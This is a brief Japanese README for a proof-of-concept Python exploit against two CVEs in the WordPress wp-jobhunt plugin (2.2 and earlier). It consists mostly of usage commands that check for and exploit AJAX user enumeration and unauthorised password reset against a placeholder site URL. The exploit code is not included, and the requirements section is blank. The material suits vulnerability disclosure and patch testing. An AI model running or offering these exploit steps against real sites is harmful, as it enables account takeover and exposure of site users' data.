
CVE-2018-19487, CVE-2018-19488、WordPress wp-jobhuntプラグインのエクスプロイト
wp-jobhuntプラグインは、JobCareerテーマで使用されるプラグインです:
https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636 (下の変更履歴を参照)
CVE-2018-19487(AJAXユーザー情報漏洩)およびCVE-2018-19488(AJAXユーザーパスワードリセット)のバージョン2.2以前向けPythonエクスプロイト。
必要条件:
使用方法:
ユーザー列挙に脆弱かどうかを確認:
python poc.py --checkenum https://wpsite/path/to/wp-admin/admin-ajax.php
ユーザーパスワードリセットに脆弱かどうかを確認:
python poc.py --checkreset https://wpsite/path/to/wp-admin/admin-ajax.php
ユーザー列挙のエクスプロイト:
python poc.py --enum https://wpsite/path/to/wp-admin/admin-ajax.php
ユーザーパスワードリセットのエクスプロイト:
python poc.py --reset https://wpsite/path/to/wp-admin/admin-ajax.php